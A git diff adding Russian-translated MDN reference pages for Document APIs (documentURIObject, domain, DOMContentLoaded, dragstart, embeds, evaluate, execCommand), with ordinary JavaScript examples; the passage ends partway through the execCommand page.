+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>DOM3 behavior</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>DOM4 behavior</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>DOM3 behavior</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>DOM4 behavior</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/document/documenturiobject/index.html b/files/ru/web/api/document/documenturiobject/index.html
new file mode 100644
index 0000000000..533664f3b8
--- /dev/null
+++ b/files/ru/web/api/document/documenturiobject/index.html
@@ -0,0 +1,35 @@
+---
+title: Document.documentURIObject
+slug: Web/API/Document/documentURIObject
+tags:
+  - свойства дом
+translation_of: Web/API/Document/documentURIObject
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code><strong>Document.documentURIObject</strong></code> свойство только для чтения возвращает {{ Interface("nsIURI") }} объект представляющий URI <a href="/en-US/docs/">документа</a>.</p>
+
+<p>Это работает только для привилегированных  (UniversalXPConnect) скриптов, включая расширенный код. Для веб содержания это свойство не имеет какого-либо специального значения и может быть использованно так же как и любое другое обычное свойство.</p>
+
+<p>Превилегированный код должен быть осторожным не пытаясь получить или установить это свойство на объект с незапакованным  содержанием (e.g. on a <code>wrappedJSObject</code> of an <code><a href="/en/XPCNativeWrapper" title="en/XPCNativeWrapper">XPCNativeWrapper</a></code>). Смотрите {{ Bug(324464) }}' комментарии для детализации.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var <em>uri</em> = <em>doc</em>.documentURIObject;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">// Проверка является ли этот URI scheme текущей вкладки Firefox - 'http',
+// предполагая что этот код выполняется в контексте  browser.xul
+var uriObj = content.document.documentURIObject;
+var uriPort = uriObj.port;
+
+if (uriObj.schemeIs('http')) {
+  ...
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Не является частью спецификации.</p>
diff --git a/files/ru/web/api/document/domain/index.html b/files/ru/web/api/document/domain/index.html
new file mode 100644
index 0000000000..bd54dc1f83
--- /dev/null
+++ b/files/ru/web/api/document/domain/index.html
@@ -0,0 +1,106 @@
+---
+title: Document.domain
+slug: Web/API/Document/domain
+tags:
+  - API
+  - Document
+  - Domain
+  - HTML DOM
+  - Property
+  - Same Origin
+  - Same Origin Policy
+  - iframe
+translation_of: Web/API/Document/domain
+---
+<div>{{ApiRef}}</div>
+
+<div>Свойство <code>domain</code> у {{domxref("Document")}} интерфейса получает/устанавливает доменную часть источника происхождения (origin) текущего документа, используется в <a href="https://developer.mozilla.org/en-US/docs/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">политике ограничения домена (same origin policy)</a>.</div>
+
+<h2 id="Summary" name="Summary">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>domainString</var> = document.domain;
+document.domain = <var>string</var>;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Доменная часть источника происхождения (origin) текущего документа.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>An attempt has been made to set <code>domain</code> under one of the following conditions:
+ <ul>
+  <li>The document is inside a sandboxed {{htmlelement("iframe")}}</li>
+  <li>The document has no browsing context</li>
+  <li>The document's <a href="https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain">effective domain</a> is <code>null</code></li>
+  <li>The given value is not equal to the document's effective domain (or it is not a registerable domain suffix of it)</li>
+  <li>The {{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}} is enabled</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Getting_the_domain">Getting the domain</h3>
+
+<p>For the URI <code>http://developer.mozilla.org/en-US/docs/Web</code>, this example sets <code>currentDomain</code> to the string "<code>developer.mozilla.org</code>".</p>
+
+<pre><code>var currentDomain = document.domain;</code></pre>
+
+<h3 id="Closing_a_window">Closing a window</h3>
+
+<p>If a document, such as <code>www.example.xxx/good.html</code>, has the domain of <code>"www.example.xxx"</code>, this example attempts to close the window.</p>
+
+<pre><code>var badDomain = "www.example.xxx";
+
+if (document.domain == badDomain) {
+  // Just an example: window.close() sometimes has no effect
+  window.close();
+}</code></pre>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p>Свойство возвращает <code>null</code> если домен документа не может быть идентифицирован, хотя теперь это изменилось с Firefox 62 - смотри обсуждение в {{bug(819475)}}.</p>
+
+<p>Mozilla позволит вам установить его в супердомен текущего значения, ограниченный его  <a href="/en-US/docs/XPCOM_Interface_Reference/nsIEffectiveTLDService#getBaseDomain.28.29">базовым доменом</a>. Например, на developer.mozilla.org возможно установить его как "mozilla.org" но не как  "mozilla.com" или "org".</p>
+
+<p>Если это свойство успешно установленно, портовая часть источника так же уставнавливается на нуль.</p>
+
+<p>Mozilla отличает свойство <code>document.domain</code>, которое никогда не было установлено от явно утановленного такого же домена как в URL документа, хотя свойство возвращает одинаковое значение в обоих случаях. Один документ разрешает доступ к другому, если они оба установили <code>document.domain</code> в одинаковое значение, указывая тем самым на их намерение сотрудничать или ни один из них не установил <code>document.domain</code>, а домены в URL-адресах одинаковые (<a class="link-https" href="https://mxr.mozilla.org/mozilla-central/source/caps/nsPrincipal.cpp?rev=ecb7068b07a1&amp;mark=199-215#199" title="https://mxr.mozilla.org/mozilla-central/source/caps/src/nsScriptSecurityManager.cpp#1003">реализация</a>). Если бы не эта специальная политика, то каждый сайт будет подвержен XSS от своих поддоменов (для примера <a class="link-https" href="https://bugzilla.mozilla.org" rel="freelink">https://bugzilla.mozilla.org</a> может быть атакован с помощью заведения багов (bug attachments) на <a class="link-https" href="https://bug*.bugzilla.mozilla.org" rel="freelink">https://bug*.bugzilla.mozilla.org</a>).</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><strong>Спецификация</strong></th>
+   <th scope="col"><strong>Статус</strong></th>
+   <th scope="col"><strong>Комментарий</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML 5.2','browsers.html#relaxing-the-same-origin-restriction','Document.domain')}}</td>
+   <td>{{Spec2('HTML 5.2')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы желаете внести свой вклад в данные, пожалуйста ознакомтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>  и отправьте нам pull request.</div>
+
+<p>{{Compat("api.Document.domain")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">Политика ограничения домена для JavaScriptHTML</a></li>
+</ul>
diff --git a/files/ru/web/api/document/domcontentloaded_event/index.html b/files/ru/web/api/document/domcontentloaded_event/index.html
new file mode 100644
index 0000000000..4a77474df9
--- /dev/null
+++ b/files/ru/web/api/document/domcontentloaded_event/index.html
@@ -0,0 +1,184 @@
+---
+title: 'Document: DOMContentLoaded event'
+slug: Web/API/Document/DOMContentLoaded_event
+tags:
+  - Событие
+translation_of: Web/API/Document/DOMContentLoaded_event
+---
+<div>{{APIRef}}</div>
+
+<p>Событие <strong><code>DOMContentLoaded</code></strong>  запускается когда первоначальный HTML документ будет полностью загружен и разобран, без ожидания полной загрузки таблиц стилей, изображений и фреймов.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Всплытие</th>
+   <td>да</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемый</th>
+   <td>Да (хотя указано как простое событие, которое не может быть отменено)</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Свойство обработчика событий</th>
+   <td>нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Разные события,<code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, должны быть использованы только для обнаружения полностью загруженной страницы. Это распространённая ошибка в использовании <code>load</code>, там где <code>DOMContentLoaded</code> было бы более уместным.</p>
+
+<p>Синхронный JavaScript останавливает разбор DOM. Если вы хотите что бы DOM был разобран как можно быстрее после того как пользователь запросит страницу, вы должны сделать ваш <a href="/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">JavaScript асинхронным </a>and <a href="https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery">оптимизировать загрузку таблиц стилей</a>. Если загружать как обычно, таблицы стилей  тормозят разбор DOM так как они загружаются параллельно, "крадя" трафик у основного HTML документа.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Основное_применение">Основное применение</h3>
+
+<pre class="brush: js">document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    console.log('DOM полностью загружен и разобран');
+});
+</pre>
+
+<h3 id="Отложенный_DOMContentLoaded">Отложенный DOMContentLoaded</h3>
+
+<pre class="brush: html">&lt;script&gt;
+  document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    console.log('DOM полностью загружен и разобран');
+  });
+
+for( let i = 0; i &lt; 1000000000; i++)
+{} // Этот синхронный скрипт откладывает разбор DOM,
+   // так что событие DOMContentLoaded будет запущено позже.
+&lt;/script&gt;
+</pre>
+
+<h3 id="Проверка_того_завершена_ли_загрузка">Проверка того, завершена ли загрузка</h3>
+
+<p><code>DOMContentLoaded</code> может сработать до того, как ваш скрипт будет запущен, поэтому разумно это проверить, перед добавлением слушателя.</p>
+
+<pre class="brush: js">function doSomething() {
+  console.info('DOM загружен');
+}
+
+if (document.readyState === 'loading') {  // Загрузка ещё не закончилась
+  document.addEventListener('DOMContentLoaded', doSomething);
+} else {  // `DOMContentLoaded` Уже сработал
+  doSomething();
+}
+</pre>
+
+<h3 id="Живые_примеры">Живые примеры</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="controls"&gt;
+  &lt;button id="reload" type="button"&gt;Reload&lt;/button&gt;
+&lt;/div&gt;
+
+&lt;div class="event-log"&gt;
+  &lt;label&gt;Event log:&lt;/label&gt;
+  &lt;textarea readonly class="event-log-contents" rows="8" cols="30"&gt;&lt;/textarea&gt;
+&lt;/div&gt;</pre>
+
+<div class="hidden">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">body {
+  display: grid;
+  grid-template-areas: "control  log";
+}
+
+.controls {
+  grid-area: control;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+.event-log {
+  grid-area: log;
+}
+
+.event-log-contents {
+  resize: none;
+}
+
+label, button {
+  display: block;
+}
+
+#reload {
+  height: 2rem;
+}
+
+</pre>
+</div>
+
+<h4 id="JS">JS</h4>
+
+<pre class="brush: js">const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () =&gt; {
+  log.textContent ='';
+  window.setTimeout(() =&gt; {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) =&gt; {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) =&gt; {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('Live_example', '100%', '160px') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости  на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и вышлите нам pull request .</div>
+
+<p>{{Compat("api.Document.DOMContentLoaded_event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>События связанные с: <code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, <code><a href="/en-US/docs/Web/API/Document/readystatechange_event">readystatechange</a></code>, <code><a href="/en-US/docs/Web/API/Window/beforeunload_event">beforeunload</a></code>, <code><a href="/en-US/docs/Web/API/Window/unload_event">unload</a></code></li>
+ <li>Это событие <code><a href="/en-US/docs/Web/API/Window">Window</a></code> нацеленное на: <code><a href="/en-US/docs/Web/API/Window/DOMContentLoaded_event">DOMContentLoaded</a></code></li>
+</ul>
diff --git a/files/ru/web/api/document/dragstart_event/index.html b/files/ru/web/api/document/dragstart_event/index.html
new file mode 100644
index 0000000000..7b7e89cfea
--- /dev/null
+++ b/files/ru/web/api/document/dragstart_event/index.html
@@ -0,0 +1,89 @@
+---
+title: 'Document: dragstart event'
+slug: Web/API/Document/dragstart_event
+translation_of: Web/API/Document/dragstart_event
+---
+<div>Событие dragstart вызывается, когда пользователь начинает перетаскивать выделенный элемент или текст.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемое</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Действие по умолчанию</th>
+   <td>Инициирование операции перетаскивания</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{domxref("DragEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Свойство обработчика события</th>
+   <td>{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+
+
+<p>See the <a href="/en-US/docs/Web/API/Document/drag_event">drag event</a> for example code or this <a href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle demo</a>.</p>
+
+<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p>
+
+
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Document.dragstart_event")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Other drag and drop events:
+  <ul>
+   <li>{{domxref("Document/drag_event", "drag")}}</li>
+   <li>{{domxref("Document/dragend_event", "dragend")}}</li>
+   <li>{{domxref("Document/dragover_event", "dragover")}}</li>
+   <li>{{domxref("Document/dragenter_event", "dragenter")}}</li>
+   <li>{{domxref("Document/dragleave_event", "dragleave")}}</li>
+   <li>{{domxref("Document/dragexit_event", "dragexit")}}</li>
+   <li>{{domxref("Document/drop_event", "drop")}}</li>
+  </ul>
+ </li>
+ <li>This event on other targets:
+  <ul>
+   <li>{{domxref("Window")}}: {{domxref("Window/dragstart_event", "dragstart")}} event</li>
+   <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragstart_event", "dragstart")}} event</li>
+   <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragstart_event", "dragstart")}} event</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/api/document/embeds/index.html b/files/ru/web/api/document/embeds/index.html
new file mode 100644
index 0000000000..848996becb
--- /dev/null
+++ b/files/ru/web/api/document/embeds/index.html
@@ -0,0 +1,59 @@
+---
+title: Document.embeds
+slug: Web/API/Document/embeds
+tags:
+  - API
+  - Document
+translation_of: Web/API/Document/embeds
+---
+<p> </p>
+
+<p>{{ApiRef}}</p>
+
+<p>The <strong><code>embeds</code></strong> read-only property of the {{domxref("Document")}} interface returns a list of the embedded {{htmlelement("object")}} elements within the current document.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><var>nodeList</var> = document.embeds
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("HTMLCollection")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.embeds")}}</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/document/evaluate/index.html b/files/ru/web/api/document/evaluate/index.html
new file mode 100644
index 0000000000..07c7e55155
--- /dev/null
+++ b/files/ru/web/api/document/evaluate/index.html
@@ -0,0 +1,159 @@
+---
+title: Document.evaluate()
+slug: Web/API/Document/evaluate
+translation_of: Web/API/Document/evaluate
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Возвращает экземпляр объекта типа <code><a href="/en-US/docs/XPathResult" title="XPathResult">XPathResult</a></code> исходя из данного <a href="/en-US/docs/XPath" title="XPath">XPath</a> и других входных параметров.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var xpathResult = document.evaluate(
+ xpathExpression,
+ contextNode,
+ namespaceResolver,
+ resultType,
+ result
+);</pre>
+
+<ul>
+ <li><code>xpathExpression</code> - строка, описывающая XPath, который должен быть исполнен.</li>
+ <li><code>contextNode</code> указывает<em>контекстный узел</em> для запроса (см. [<a class="external" href="http://www.w3.org/TR/xpath" rel="freelink">http://www.w3.org/TR/xpath</a> спецификация XPath). В качестве данного аргумента может быть задан объект <em>document</em>.</li>
+ <li><code>namespaceResolver</code> - функция, которой будут переданы все префиксы пространств имён. Она должна возвращать строку, описывающую URI, ассоциированный с данным префиксом. It will be used to resolve prefixes within the XPath itself, so that they can be matched with the document. <code>null</code> is common for HTML documents or when no namespace prefixes are used.</li>
+ <li><code>resultType</code> - число, описывающее тип возвращаемого <code>XPathResult</code> (см. ниже). Используйте <a href="#Result_types">именные свойства-константы</a> конструктора класса <code>XPathResult</code> (эквивалентно численным значениям от 0 до 9), как например <code>XPathResult.ANY_TYPE</code>.</li>
+ <li><code>result</code> - экземпляр объекта типа <code>XPathResult</code>, используемого для хранения результатов поиска по данному <code>xpathExpression</code>. Может принимать значение <code>null</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js notranslate">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
+/* Найти в документе все элементы h2
+ * В качестве результата будет получен узловой итератор. */
+var thisHeading = headings.iterateNext();
+var alertText = "В данном документе заголовками 2-го уровня являются:\n";
+while (thisHeading) {
+  alertText += thisHeading.textContent + "\n";
+  thisHeading = headings.iterateNext();
+}
+alert(alertText); // Показывает alert со всеми найденными элементами h2
+</pre>
+
+<p>Note, in the above example, a more verbose XPath is preferred over common shortcuts such as <code>//h2</code>. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits <em>every</em> node from the root and all subnodes looking for possible matches.</p>
+
+<p>Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:</p>
+
+<pre class="brush: js notranslate">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null);
+</pre>
+
+<p>Notice in the above <code>document.body</code> has been used as the context instead of <code>document</code> so the XPath starts from the body element. (In this example, the <code>"."</code> is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving <code>//h2</code>) the query would start from the root node (<code>html</code>) which would be more wasteful.)</p>
+
+<p>Более детально данный материал описан в статье <a href="/en-US/docs/Introduction_to_using_XPath_in_JavaScript" title="Introduction to using XPath in JavaScript">Introduction to using XPath in JavaScript</a>.</p>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<ul>
+ <li>Выражения XPath могут быть интерпретированы в HTML- и XML-документах.</li>
+ <li>While using document.evaluate() works in FF2, in FF3 one must use someXMLDoc.evaluate() if evaluating against something other than the current document.</li>
+</ul>
+
+<h2 id="Result_types" name="Result_types">Типы возвращаемых данных</h2>
+
+<p>(Merge with <a href="/Template:XPathResultConstants" title="Template:XPathResultConstants">Template:XPathResultConstants</a>?</p>
+
+<p>These are supported values for the <code>resultType</code> parameter of the <code>evaluate</code> method:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Result Type</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>ANY_TYPE</code></td>
+   <td>0</td>
+   <td>Whatever type naturally results from the given expression.</td>
+  </tr>
+  <tr>
+   <td><code>NUMBER_TYPE</code></td>
+   <td>1</td>
+   <td>A result set containing a single number. Useful, for example, in an XPath expression using the <code>count()</code> function.</td>
+  </tr>
+  <tr>
+   <td><code>STRING_TYPE</code></td>
+   <td>2</td>
+   <td>A result set containing a single string.</td>
+  </tr>
+  <tr>
+   <td><code>BOOLEAN_TYPE</code></td>
+   <td>3</td>
+   <td>A result set containing a single boolean value. Useful, for example, an an XPath expression using the <code>not()</code> function.</td>
+  </tr>
+  <tr>
+   <td><code>UNORDERED_NODE_ITERATOR_TYPE</code></td>
+   <td>4</td>
+   <td>A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>ORDERED_NODE_ITERATOR_TYPE</code></td>
+   <td>5</td>
+   <td>A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>UNORDERED_NODE_SNAPSHOT_TYPE</code></td>
+   <td>6</td>
+   <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>ORDERED_NODE_SNAPSHOT_TYPE</code></td>
+   <td>7</td>
+   <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>ANY_UNORDERED_NODE_TYPE</code></td>
+   <td>8</td>
+   <td>A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.</td>
+  </tr>
+  <tr>
+   <td><code>FIRST_ORDERED_NODE_TYPE</code></td>
+   <td>9</td>
+   <td>A result set containing the first node in the document that matches the expression.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Results of <code>NODE_ITERATOR</code> types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.</p>
+
+<p>Results of <code>NODE_SNAPSHOT</code> types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}</td>
+   <td>{{Spec2("DOM3 XPath")}}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Document.evaluate")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/document.createExpression" title="DOM/document.createExpression">DOM:document.createExpression</a></li>
+ <li><a href="/en-US/docs/Code_snippets/XPath" title="Code_snippets/XPath">XPath Code Snippets</a></li>
+ <li><a href="http://codepen.io/johan/full/ckFgn">Check for browser support</a></li>
+</ul>
diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html
new file mode 100644
index 0000000000..b858471dc2
--- /dev/null
+++ b/files/ru/web/api/document/execcommand/index.html
@@ -0,0 +1,358 @@
+---
+title: Document.execCommand()
+slug: Web/API/Document/execCommand
+tags:
+  - API
+  - DOM
+  - editor
+  - wysiwyg
+translation_of: Web/API/Document/execCommand
+---
+<div>{{ApiRef("DOM")}}{{Obsolete_header}}</div>
+
+<div>
+<h2 id="Summary" name="Summary">Обзор</h2>
+
+<p>Когда HTML документ переключен в режим редактирования ({{domxref("document.designMode")}}), для него будет доступен метод <code>execCommand</code>, который предоставляет команды для работы с контентом в редактируемой области. Большинство команд влияют на выделение (bold, italics, и т. п.), другие вставляют новые элементы (createLink) или влияют на всю строку (<span style="font-family: segoe ui;">indenting</span>). При использовании <code>contentEditable</code>, вызов <code>execCommand</code> влияет на активный редактируемый элемент.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js notranslate">execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument)
+</pre>
+
+<h3 id="Аргументы">Аргументы</h3>
+
+<blockquote>
+<dl>
+ <dt>String aCommandName</dt>
+ <dd>имя команды</dd>
+</dl>
+
+<dl>
+ <dt>Boolean aShowDefaultUI</dt>
+ <dd>нужно ли показать пользовательский интерфейс по умолчанию. Это не реализовано в Mozilla.</dd>
+</dl>
+
+<dl>
+ <dt>String aValueArgument</dt>
+ <dd>некоторым командам (например insertimage) также требуется значение аргумента (url картинки). Е<span style="line-height: 1.5;">сли аргумент не нужен введите</span><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">null</code><span style="line-height: 1.5;">.</span></dd>
+</dl>
+</blockquote>
+
+<h2 id="Команды">Команды</h2>
+
+
+<blockquote>
+<dl>
+ <dt>backColor</dt>
+ <dd>Изменить цвет фона документа. В режиме styleWithCss командой устанавливается цвет фона родительского блока. Необходима передача строкового значения цвета в качестве аргумента. (Internet Explorer таким образом устанавливает цвет фона текста.)</dd>
+</dl>
+
+<dl>
+ <dt>bold</dt>
+ <dd>Включает/отключает выделение жирным bold отмеченного текста или начиная с места ввода текста. (Internet Explorer использует тег {{HTMLElement("strong")}} вместо {{HTMLElement("b")}}.)</dd>
+</dl>
+
+<dl>
+ <dt>contentReadOnly</dt>
+ <dd>Делает содержимое документа либо неизменяемым либо редактируемым. Требуется передача булевого true/false в качестве аргумента. (Не поддерживается Internet Explorer.)</dd>
+</dl>
+
+<dl>
+ <dt>copy</dt>
